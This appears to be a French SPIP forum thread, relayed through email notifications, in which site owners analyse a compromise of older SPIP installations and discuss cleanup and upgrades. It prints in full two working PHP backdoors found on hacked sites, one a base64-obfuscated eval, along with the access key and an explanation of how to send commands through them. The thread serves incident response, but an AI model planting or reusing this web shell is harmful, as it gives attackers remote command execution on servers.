/spip.php
La première ligne du fichier est modifiée ainsi : <?php if(isset($_POST['page'])&& strtolower($_POST['page'])=='spip_pass') die();?><?php
Ce qui empêche d’utiliser la procédure d’oubli de mot de passe
/ecrire/auto.php (ajouté) <?php if(isset($_GET['k'],$_GET['c'])){$k=@base64_decode($_GET['k']);$c=@base64_decode($_GET['c']);if($k!==FALSE&&$c!==FALSE){echo '#!#';$j=array('o'=>array(),'c'=>0);$d=array();$a=@ini_get('disable_functions');if($a)$d=explode(',',$a);else{$d=array();}if(@md5($k)==='e75acb27171300d9b9470c44ec4c1fc6'){function t($t){return @trim($t," \n\r\t");}function e($e){global $j;$j['o']=array('EXEC_ERROR');$j['c']=$e;}if(@function_exists('exec')&&@in_array('exec',$d)==FALSE){$b=@exec($c,$j['o'],$j['c']);if(!$b)e(110);}elseif(@function_exists('shell_exec')&&@in_array('shell_exec',$d)==FALSE){$b=@shell_exec($c);if($b===FALSE||$b===NULL)e(111);else{$j['o']=@explode("\n",t($b));}}else{$x=true;@ob_start();if(@function_exists('system')&&@in_array('system',$d)==FALSE){$b=@system($c,$j['c']);if($b===FALSE){e(112);$x=false;}}elseif(@function_exists('passthru')&&@in_array('passthru',$d)==FALSE){$b=@passthru($c,$j['c']);if($b===FALSE||$b!==NULL){e(113);$x=false;}}else{$x=false;$j['o']=array('NO_EXEC');$j['c']=101;}if($x)$j['o']=@explode("\n",t(@ob_get_contents()));@ob_end_clean();}}else{$j['o']=array('AUTH_ERROR');$j['c']=100;}$f=array();foreach($j['o'] as $l){$f[]=@base64_encode($l);}$j['o']=$f;if(@function_exists('json_encode'))echo @json_encode($j);else{echo '{"o":["'.@implode($f,'","').'"],"c":'.$j['c'].'}';}echo '#$#';}}?>
Pas encore investigué ce que ça peut faire.
/ecrire/local.php (ajouté) <?php @eval(@base64_decode("JGs9ZmFsc2U7aWYoaXNzZXQoJF9HRVRbJ2snXSkpeyRrPSRfR0VUWydrJ107fWlmKCRrICYmKCgkYz1AZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0JykpIT09JycpKXtpZigoQG1kNShAYmFzZTY0X2RlY29kZSgkaykpPT09J2U3NWFjYjI3MTcxMzAwZDliOTQ3MGM0NGVjNGMxZmM2JykmJigoJHM9QGJhc2U2NF9kZWNvZGUoJGMpKSE9PUZBTFNFKSl7ZWNobyAnIyEjJztAcGFzc3RocnUoJHMpO2VjaG8gJyMkIyc7fX0"));?>
Pas encore investigué ce que ça peut faire.
Pour l’instant, à part bloquer l’accès à l’admin du site, ça ne semble rien faire d’autre qu’avoir mis ces fichiers.
Mais c’est peut-être la tactique du hack dormant qui attends quelques mois d’être dans toutes les sauvegardes pour ensuite être activé et faire beaucoup plus de mal.
Bref : mettez à jour !
PS : Je ne suis pas core dev, je n’ai donc pas accès aux informations des tickets de sécurité.
Ce que je vais écrire est donc à confirmer par la Team.
En regardant ces 2 commits qui correspondent à la sortie de SPIP 3.2.18 :
J’en profite pour poser une question.
Est-ce qu’on peut vider sans état d’âme les dossiers tmp et local ?
Pour tmp, j’imagine qu’il faut juste avoir récupéré ses sauvegardes de bases au préalable, si on le veut.
Je viens de trouver des config.php et local.php daté du 7 mai dans un de mes vieux spip, qui ressemblent bcp aux fichiers décrits ci-dessus, également. Même fichier trouvé dans lib/api.php Dans mon cas, config.php = local.php = api.php, ils sont identiques.
Le code est exactement le même que celui de RealET, l’espèce de clé par « JGs9… » également.
En revanche, sur ce même SPIP, je n’ai pas la modif de spip.php, ni le dossier /tmp/pirate
J’ai quelques sites (dont je ne suis pas en charge de la maintenance) qui ont été touchés. J’ai fait le ménage mais à par les fichier .php, je n’ai rien vu d’autre. Un des fichiers tente de récupérer la table spip_auteurs dans une base sqlite mais le fichier n’est pas présent.
Une fois le ménage fait, tout a l’air ok à part un site où je n’arrive pas à me connecter à l’espace privé. As-tu réussi à rétablir l’accès à l’espace privé ?
Pas de .htaccess douteux ni de fichiers modifiés depuis l’attaque (recherche en ssh avec find . -mtime -45 > log.txt pour afficher les fichiers modifiés depuis 45j).
Je ne peux juste plus me connecter : je valide le form de login, ça mouline un peu et ça revient sur le form comme si de rien n’était. Par contre, si j’essaie de me connecter avec un mauvais mot de passe, j’ai bien l’info « mot de passe erroné ».
J’utilise un site sous SPIP 3.2.19 mais je ne peux monter en version car j’utilise le plugin AHUNTSIC qui n’est que compatible jusqu’à la version 3.2. J’ai été hacké par le même robot que celui décrit ici-même. J’ai refait une installation propre de SPIP 3.2.19 et tout est rentré dans l’ordre.
Cependant, est-ce que je peux faire quelque chose pour essayer de me protéger contre cette attaque si elle venait à se reproduire ?
De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).
@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon
En complément un script (brut de décoffrage) qui permet de faire un certain nettoyage à lancer en bash sur le serveurs concernés.
Le script cherche les spip.php verolés, stock les repértoires concernés, supprime une liste de répertoires et des fichiers
Ensuite il repasse sur la liste des répertoires vérolés pour voir si tout est nettoyé et autrement indique les fichiers à vérifier.
Par défaut il est en dry-run c’est à dire que sera listé les actions à lancer. Ensuite on copie/colle ou bien on modifie la variable dry_run pour 0
En gros (j’ai pas regardé en détail ni testé, juste lu) avec ce fichier il suffit d’appeler ecrire/auto.php?k=e75acb27171300d9b9470c44ec4c1fc6&c=<commande linux de votre choix encodée en base 64> pour exécuter un programme sur le serveur.
La commande peut être du genre rm -rf, mysql xxxx ou bien même n’importe quel script que l’attaquant a pu déposer au préalable.
A noter que l’attaquant essaie d’utiliser plusieurs méthodes, en passant par exec, shell_exec, system & Cie…
Bref, c’est une backdoor
réinstaller SPIP et tous les plugins à partir de zéro
c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?
J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat
De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).
@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon
Voir le sujet ou répondre à ce courriel pour répondre.
Pour vous désabonner de ces courriels, cliquez ici.
réinstaller SPIP et tous les plugins à partir de zéro
c’est ce que j’ai essayé de faire, avec la version, 4.2 donc.
Mon site était sous la version 3.2 et ma version de PHP; 5.
Première question (à laquelle je n’ai pas réussi à répondre en visitant les forums): PHP 5 étant incompatible avec la version 4.2 de SPIP comment je fais pour passer à une version plus récente de PHP ?
J’ai quand même essayé de refaire une installation:
avec spip loader, zéro résultat
Installation manuelle, pas plus de résultat
De toute façon, la solution la plus sûre pour récupérer un site piraté est de réinstaller SPIP et tous les plugins à partir de zéro pour être sûr de ne pas avoir de fichiers vérolés qui trainent quelque part et faire le tour des dossiers dans IMG pour voir si tout est légitime (fichiers suspects ou modifiés, droits des fichiers/dossiers…).
@Jack31 : en fait, c’est la première tentative de connexion qui ne fonctionne pas, si je retente dans la foulée, c’est bon… je ne sais pas d’où ça vient. Bon en même temps, on est sur du vieux-vieux SPIP donc bon
Voir le sujet ou répondre à ce courriel pour répondre.
Pour vous désabonner de ces courriels, cliquez ici.
Voir le sujet ou répondre à ce courriel pour répondre.
Pour vous désabonner de ces courriels, cliquez ici.
Et surtout penser que certains hébergeurs n’autorisent pas de fixer la version de php site par site, Dans ce cas, tous les sites hébergés doivent évoluer en même temps.